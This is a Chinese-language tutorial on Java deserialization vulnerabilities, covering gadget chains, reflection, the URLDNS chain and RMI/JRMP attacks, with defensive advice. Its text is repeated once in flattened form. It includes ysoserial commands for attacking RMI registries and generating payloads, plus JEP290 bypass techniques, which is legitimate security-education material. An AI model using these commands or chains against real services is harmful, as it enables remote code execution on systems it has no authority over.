Java反序列化从入门到放弃
字数 1916 2025-08-11 21:26:12

Java反序列化漏洞从入门到精通

一、序列化与反序列化基础

1. 基本概念

序列化:将内存中的对象压缩成字节流的形式,以便存储或传输。

反序列化:将字节流转化回内存中的对象。

2. Java序列化特点

  • 需要实现java.io.Serializable接口(空接口,仅作为标记)
  • 使用ObjectOutputStreamwriteObject()方法序列化
  • 使用ObjectInputStreamreadObject()方法反序列化
  • 静态属性和transient关键字修饰的属性不会被序列化

3. 安全问题成因

当服务端反序列化客户端传递的数据时,会自动调用对象的readObject()方法。如果攻击者能够控制被反序列化的类,并重写了readObject()方法,就可以在服务端执行任意代码。

二、漏洞利用关键点

1. 利用链组成

利用链(Chain of Gadgets) = 入口点(Source) + 中间类方法(Gadget) + 执行点(Sink)

常见执行点(Sink):

  • Runtime.exec() - 执行系统命令
  • ProcessBuilder.start() - 启动新进程
  • Method.invoke() - 反射调用方法
  • JNDI注入等

2. 常见利用形式

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类
  4. 通过equals/hashCode/toString等隐式调用方法

三、核心技术

1. Java反射机制

反射允许程序在运行时获取类的信息并操作类或对象。

关键API

// 获取Class对象
Class.forName("全类名");
类名.class;
对象.getClass();

// 操作字段
getField()/getDeclaredField()
field.get(obj)/field.set(obj, value)

// 操作方法
getMethod()/getDeclaredMethod()
method.invoke(obj, args)

// 操作构造器
getConstructor()/getDeclaredConstructor()
constructor.newInstance(args)

2. 动态代理

静态代理:手动编写代理类,实现相同接口,调用目标方法前后添加逻辑。

动态代理:运行时动态生成代理类,核心类:

  • java.lang.reflect.Proxy
  • java.lang.reflect.InvocationHandler

示例:

InvocationHandler handler = new MyInvocationHandler(target);
Object proxy = Proxy.newProxyInstance(
    target.getClass().getClassLoader(),
    target.getClass().getInterfaces(),
    handler);

3. 类动态加载

类加载时机

  • 静态代码块:类加载时执行
  • 构造代码块:实例化时执行
  • 构造函数:实例化时执行

动态加载方法

  1. Class.forName() - 会初始化类
  2. ClassLoader.loadClass() - 不会初始化类
  3. Unsafe.defineClass() - 直接定义类

四、漏洞利用链分析

1. URLDNS链

原理:利用HashMap反序列化时触发URL的hashCode方法,导致DNS查询。

利用步骤

  1. 创建HashMap,将URL对象作为key
  2. 序列化HashMap
  3. 反序列化时触发DNS查询

特点

  • 用于漏洞验证
  • 不依赖第三方库
  • 无版本限制

示例代码:

HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");
// 防止put时触发DNS查询
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1);
hashmap.put(url, 1);
// 恢复hashCode以便反序列化时触发
field.set(url, -1);
serialize(hashmap);

2. RMI/JRMP利用

RMI(远程方法调用)

  • 客户端通过Registry查找远程对象
  • 服务端通过Registry注册远程对象
  • 底层使用JRMP协议通信

攻击方式

  1. 攻击Registry服务:直接发送恶意序列化数据
  2. JRMP客户端:让服务端连接恶意JRMP监听器
  3. JRMP服务端:客户端反序列化恶意返回对象

工具利用

# 攻击RMI Registry
java -jar ysoserial.jar RMIRegistryExploit host port payload "command"

# 启动JRMP监听器
java -jar ysoserial.jar JRMPListener port payload "command"

# 生成JRMP客户端payload
java -jar ysoserial.jar JRMPClient host:port > payload.bin

五、防御机制与绕过

1. JEP290防御机制

特性

  • 黑白名单过滤反序列化类
  • 限制反序列化深度和复杂度
  • 可配置过滤规则

绕过方法

  • 使用JRMP客户端二次反序列化
  • 利用未受保护的上下文(如非RMI Registry/DGC/JMX)
  • 使用不在黑名单中的类构造利用链

六、漏洞挖掘与利用实践

1. 利用步骤

  1. 识别反序列化入口点
  2. 寻找可用的gadget链
  3. 构造恶意序列化数据
  4. 发送数据触发漏洞

2. ysoserial工具使用

常用payload

  • CommonsCollections1-7
  • Groovy1
  • Spring1
  • Jdk7u21
  • JRMPClient/JRMPListener

使用示例

# 生成payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin

# 攻击RMI服务
java -jar ysoserial.jar RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"

七、防护建议

  1. 升级JDK到最新版本
  2. 对反序列化操作添加严格的白名单过滤
  3. 使用安全的序列化替代方案(如JSON)
  4. 限制反序列化操作的网络访问
  5. 监控和记录反序列化异常

八、扩展知识

1. 常见漏洞组件

  • Apache Shiro
  • Apache Axis
  • Weblogic
  • JBoss
  • Fastjson
  • Jackson

2. 其他序列化形式

  • XMLDecoder/XMLEncoder
  • XStream
  • SnakeYaml
  • FastJson
  • Jackson

通过深入理解这些原理和技术,安全研究人员可以更有效地挖掘和防御Java反序列化漏洞,而开发人员则可以编写更安全的序列化相关代码。

Java反序列化漏洞从入门到精通 一、序列化与反序列化基础 1. 基本概念 序列化 :将内存中的对象压缩成字节流的形式,以便存储或传输。 反序列化 :将字节流转化回内存中的对象。 2. Java序列化特点 需要实现 java.io.Serializable 接口(空接口,仅作为标记) 使用 ObjectOutputStream 的 writeObject() 方法序列化 使用 ObjectInputStream 的 readObject() 方法反序列化 静态属性和 transient 关键字修饰的属性不会被序列化 3. 安全问题成因 当服务端反序列化客户端传递的数据时,会自动调用对象的 readObject() 方法。如果攻击者能够控制被反序列化的类,并重写了 readObject() 方法,就可以在服务端执行任意代码。 二、漏洞利用关键点 1. 利用链组成 利用链(Chain of Gadgets) = 入口点(Source) + 中间类方法(Gadget) + 执行点(Sink) 常见执行点(Sink): Runtime.exec() - 执行系统命令 ProcessBuilder.start() - 启动新进程 Method.invoke() - 反射调用方法 JNDI注入等 2. 常见利用形式 入口类的 readObject 直接调用危险方法 入口类参数中包含可控类,该类有危险方法 入口类参数中包含可控类,该类又调用其他有危险方法的类 通过 equals/hashCode/toString 等隐式调用方法 三、核心技术 1. Java反射机制 反射允许程序在运行时获取类的信息并操作类或对象。 关键API : 2. 动态代理 静态代理 :手动编写代理类,实现相同接口,调用目标方法前后添加逻辑。 动态代理 :运行时动态生成代理类,核心类: java.lang.reflect.Proxy java.lang.reflect.InvocationHandler 示例: 3. 类动态加载 类加载时机 : 静态代码块:类加载时执行 构造代码块:实例化时执行 构造函数:实例化时执行 动态加载方法 : Class.forName() - 会初始化类 ClassLoader.loadClass() - 不会初始化类 Unsafe.defineClass() - 直接定义类 四、漏洞利用链分析 1. URLDNS链 原理 :利用HashMap反序列化时触发URL的hashCode方法,导致DNS查询。 利用步骤 : 创建HashMap,将URL对象作为key 序列化HashMap 反序列化时触发DNS查询 特点 : 用于漏洞验证 不依赖第三方库 无版本限制 示例代码: 2. RMI/JRMP利用 RMI(远程方法调用) : 客户端通过Registry查找远程对象 服务端通过Registry注册远程对象 底层使用JRMP协议通信 攻击方式 : 攻击Registry服务:直接发送恶意序列化数据 JRMP客户端:让服务端连接恶意JRMP监听器 JRMP服务端:客户端反序列化恶意返回对象 工具利用 : 五、防御机制与绕过 1. JEP290防御机制 特性 : 黑白名单过滤反序列化类 限制反序列化深度和复杂度 可配置过滤规则 绕过方法 : 使用JRMP客户端二次反序列化 利用未受保护的上下文(如非RMI Registry/DGC/JMX) 使用不在黑名单中的类构造利用链 六、漏洞挖掘与利用实践 1. 利用步骤 识别反序列化入口点 寻找可用的gadget链 构造恶意序列化数据 发送数据触发漏洞 2. ysoserial工具使用 常用payload : CommonsCollections1-7 Groovy1 Spring1 Jdk7u21 JRMPClient/JRMPListener 使用示例 : 七、防护建议 升级JDK到最新版本 对反序列化操作添加严格的白名单过滤 使用安全的序列化替代方案(如JSON) 限制反序列化操作的网络访问 监控和记录反序列化异常 八、扩展知识 1. 常见漏洞组件 Apache Shiro Apache Axis Weblogic JBoss Fastjson Jackson 2. 其他序列化形式 XMLDecoder/XMLEncoder XStream SnakeYaml FastJson Jackson 通过深入理解这些原理和技术,安全研究人员可以更有效地挖掘和防御Java反序列化漏洞,而开发人员则可以编写更安全的序列化相关代码。